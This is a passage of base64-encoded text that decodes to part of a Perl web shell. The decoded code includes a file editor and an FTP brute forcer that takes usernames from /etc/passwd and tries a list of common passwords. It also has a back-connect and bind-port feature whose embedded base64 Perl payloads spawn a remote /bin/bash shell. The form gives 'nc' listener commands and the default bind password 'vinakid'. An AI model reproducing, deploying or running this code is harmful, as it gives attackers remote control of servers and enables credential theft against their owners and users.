NCgl7DQoJCSRyb3dzPSIyMyINCgl9ZWxzZQ0KCXsNCgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdjb2xvcjogeWVsbG93OycgPiBDYW5uJ3Qgd3JpdGUgZmlsZSE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJFJ1bkNvbW1hbmQgPSAiZWRpdCAkUnVuQ29tbWFuZCI7DQoJJHJlc3VsdCAuPSAgPDxFTkQ7DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KCSRQcm9tcHQNCgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPg0KCTxpbnB1dCBuYW1lPSJzIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cNCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4NCkVORA0KDQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOw0KCSRyZXN1bHQgLj0gIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICI8L2Zvcm0+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgRmlsZSBPcGVuDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgRmlsZU9wZW4oJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkYmluYXJ5ID0gc2hpZnQ7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCW15ICRuID0gIiI7DQoJaWYoLWYgJGZpbGUpew0KCQlpZihvcGVuKEZJTEUsJGZpbGUpKXsNCgkJCWlmKCRiaW5hcnkpew0KCQkJCWJpbm1vZGUgRklMRTsNCgkJCX0NCgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7DQoJCQkJJHJlc3VsdCAuPSAkZGF0YTsNCgkJCX0NCgkJCWNsb3NlKEZJTEUpOw0KCQl9DQoJfWVsc2UNCgl7DQoJCXJldHVybiAiTm90J3MgYSBGaWxlISI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBTYXZlIEZpbGUNCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZSgkKQ0Kew0KCW15ICREYXRhPSBzaGlmdCA7DQoJbXkgJEZpbGU9IHNoaWZ0Ow0KCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOw0KCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQ0KCXsNCgkJYmlubW9kZSBGSUxFOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlyZXR1cm4gMTsNCgl9ZWxzZQ0KCXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCcnV0ZSBGb3JjZXIgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyRm9ybQ0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJHJlc3VsdCAuPSA8PEVORDsNCg0KPHRhYmxlPg0KDQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+DQpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4NCk5vdGU6IE9ubHkgc2NhbiBmcm9tIDEgdG8gMyB1c2VyIDotUzxicj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+DQpFTkQNCmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7DQokcmVzdWx0IC49IDw8J0VORCc7DQo8L3RleHRhcmVhPjwvdGQ+DQo8dGQ+DQoNClBhc3M6PGJyPg0KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcw0KMTIzIUAjDQoxMjNhZG1pbg0KMTIzYWJjDQoxMjM0NTZhZG1pbg0KMTIzNDU1NDMyMQ0KMTIzNDQzMjENCnBhc3MxMjMNCmFkbWluDQphZG1pbmNwDQphZG1pbmlzdHJhdG9yDQptYXRraGF1DQpwYXNzYWRtaW4NCnBAc3N3b3JkDQpwQHNzdzByZA0KcGFzc3dvcmQNCjEyMzQ1Ng0KMTIzNDU2Nw0KMTIzNDU2NzgNCjEyMzQ1Njc4OQ0KMTIzNDU2Nzg5MA0KMTExMTExDQowMDAwMDANCjIyMjIyMg0KMzMzMzMzDQo0NDQ0NDQNCjU1NTU1NQ0KNjY2NjY2DQo3Nzc3NzcNCjg4ODg4OA0KOTk5OTk5DQoxMjMxMjMNCjIzNDIzNA0KMzQ1MzQ1DQo0NTY0NTYNCjU2NzU2Nw0KNjc4Njc4DQo3ODk3ODkNCjEyMzMyMQ0KNDU2NjU0DQo2NTQzMjENCjc2NTQzMjENCjg3NjU0MzIxDQo5ODc2NTQzMjENCjA5ODc2NTQzMjENCmFkbWluMTIzDQphZG1pbjEyMzQ1Ng0KYWJjZGVmDQphYmNhYmMNCiFAIyFAIw0KIUAjJCVeDQohQCMkJV4mKigNCiFAIyQkI0AhDQphYmMxMjMNCmFuaHlldWVtDQppbG92ZXlvdTwvdGV4dGFyZWE+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NClNsZWVwOjxzZWxlY3QgbmFtZT0ic2xlZXAiPg0KDQo8b3B0aW9uPjA8L29wdGlvbj4NCjxvcHRpb24+MTwvb3B0aW9uPg0KPG9wdGlvbj4yPC9vcHRpb24+DQoNCjxvcHRpb24+Mzwvb3B0aW9uPg0KPC9zZWxlY3Q+IA0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4NCjwvZm9ybT4NCjwvdGFibGU+DQpFTkQNCnJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCcnV0ZSBGb3JjZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlcg0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9Ow0KCWlmKCRpbnsndXNlcid9IGVxICIiKQ0KCXsNCgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOw0KCX1lbHNlDQoJew0KCQl1c2UgTmV0OjpGVFA7IA0KCQlAdXNlcj0gc3BsaXQoL1xuLywgJGlueyd1c2VyJ30pOw0KCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOw0KCQljaG9tcChAdXNlcik7DQoJCWNob21wKEBwYXNzKTsNCgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7DQoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikNCgkJew0KCQkJaWYoJHVzZXJuYW1lIG5lICIiKQ0KCQkJew0KCQkJCWZvcmVhY2ggJHBhc3N3b3JkIChAcGFzcykNCgkJCQl7DQoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IA0KCQkJCQlpZigkZnRwLT5sb2dpbigiJHVzZXJuYW1lIiwiJHBhc3N3b3JkIikpDQoJCQkJCXsNCgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOw0KCQkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCQkJYnJlYWs7DQoJCQkJCX0NCgkJCQkJaWYoJGlueydzbGVlcCd9IG5lICIwIikNCgkJCQkJew0KCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkgKiAxMDAwKTsNCgkJCQkJfQ0KCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZEZvcm0NCnsNCglyZXR1cm4gPDxFTkQ7DQoJPGJyPjxicj4NCg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4NCgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQ0KCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4NCgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPg0KDQoJPGJyPjxicj4NCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCg0KCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4NCg0KCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjEyIiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9InZpbmFraWQiPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gVGVzdGluZyAuLi4uDQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT48YnI+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZA0Kew0KCXVzZSBTb2NrZXQ7CQ0KCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsNCgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOw0KDQoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsNCgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7DQoJaWYoJENsaWVudFBvcnQgZXEgMCkNCgl7DQoJCXJldHVybiAmQmFja0JpbmRGb3JtOw0KCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7DQoJCWlmKC13ICIvdG1wLyIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfWVsc2UNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsNCgkJaWYoLXcgIi90bXAiKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUm1EaXIoJCkgDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCWlmKG9wZW5kaXIoRElSLCRkaXIpKQ0KCXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCXsNCgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkNCgkJCXsNCgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsNCgkJCQlpZigtZCAkZmlsZSkNCgkJCQl7DQoJCQkJCSZSbURpcigkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXVubGluaygkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KfQ0Kc3ViIEZpbGVPd25lcigkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlyZXR1cm4gIj8/PyI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsNCgkJCSRncm91cD1nZXRncmdpZCgkZ2lkKTsNCgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOw0KCQl9DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBQYXJlbnRGb2xkZXIoJCkNCnsNCglteSAkcGF0aCA9IHNoaWZ0Ow0KCW15ICRDb21tID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgLi4iLiRDbWRTZXAuJENtZFB3ZDsNCgljaG9wKCRwYXRoID0gYCRDb21tYCk7DQoJcmV0dXJuICRwYXRoOw0KfQ0Kc3ViIEZpbGVQZXJtcygkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJHVyID0gIi0iOw0KCW15ICR1dyA9ICItIjsNCglpZigtZSAkZmlsZSkNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0NCgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9DQoJCQlyZXR1cm4gJHVyIC4gIiAvICIgLiAkdXc7DQoJCX1lbHNlDQoJCXsNCgkJCSRtb2RlPShzdGF0KCRmaWxlKSlbMl07DQoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOw0KCQkJcmV0dXJuICRyZXN1bHQ7DQoJCX0NCgl9DQoJcmV0dXJuICIwMDAwIjsNCn0NCnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkbGEpID0gKHN0YXQoJGZpbGUpKVs5XTsNCgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsNCgkJJHkgPSAkeSArIDE5MDA7DQoJCUBtb250aCA9IHF3LzEgMiAzIDQgNSA2IDcgOCA5IDEwIDExIDEyLzsNCgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7DQoJCXJldHVybiAkbG10aW1lOw0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgRmlsZVNpemUoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1mICRmaWxlKQ0KCXsNCgkJcmV0dXJuIC1zICIkZmlsZSI7DQoJfQ0KCXJldHVybiAiMCI7DQp9DQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQ0Kew0KCW15ICRzaXplID0gc2hpZnQ7DQoJaWYoJHNpemUgPD0gMTAyNCkNCgl7DQoJCXJldHVybiAkc2l6ZS4gIiBCIjsNCgl9DQoJZWxzZQ0KCXsNCgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjAyZiIsJHNpemUgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIEtCIjsNCgkJfQ0KCQllbHNlIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgTUIiOw0KCQl9DQoJfQ0KfQ0Kc3ViIHRyaW0oJCkNCnsNCglteSAkc3RyaW5nID0gc2hpZnQ7DQoJJHN0cmluZyA9fiBzL15ccysvLzsNCgkkc3RyaW5nID1+IHMvXHMrJC8vOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIEFkZFNsYXNoZXMoJCkNCnsNCglteSAkc3RyaW5nID0gc2hpZnQ7DQoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIFRyaW1TbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1wvXC8vXC8vZzsNCgkkc3RyaW5nPX4gcy9cXFxcL1xcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyLiRQYXRoU2VwKTsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIG9uU3VibWl0PVwiRW5jb2RlcignZCcpXCIgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxl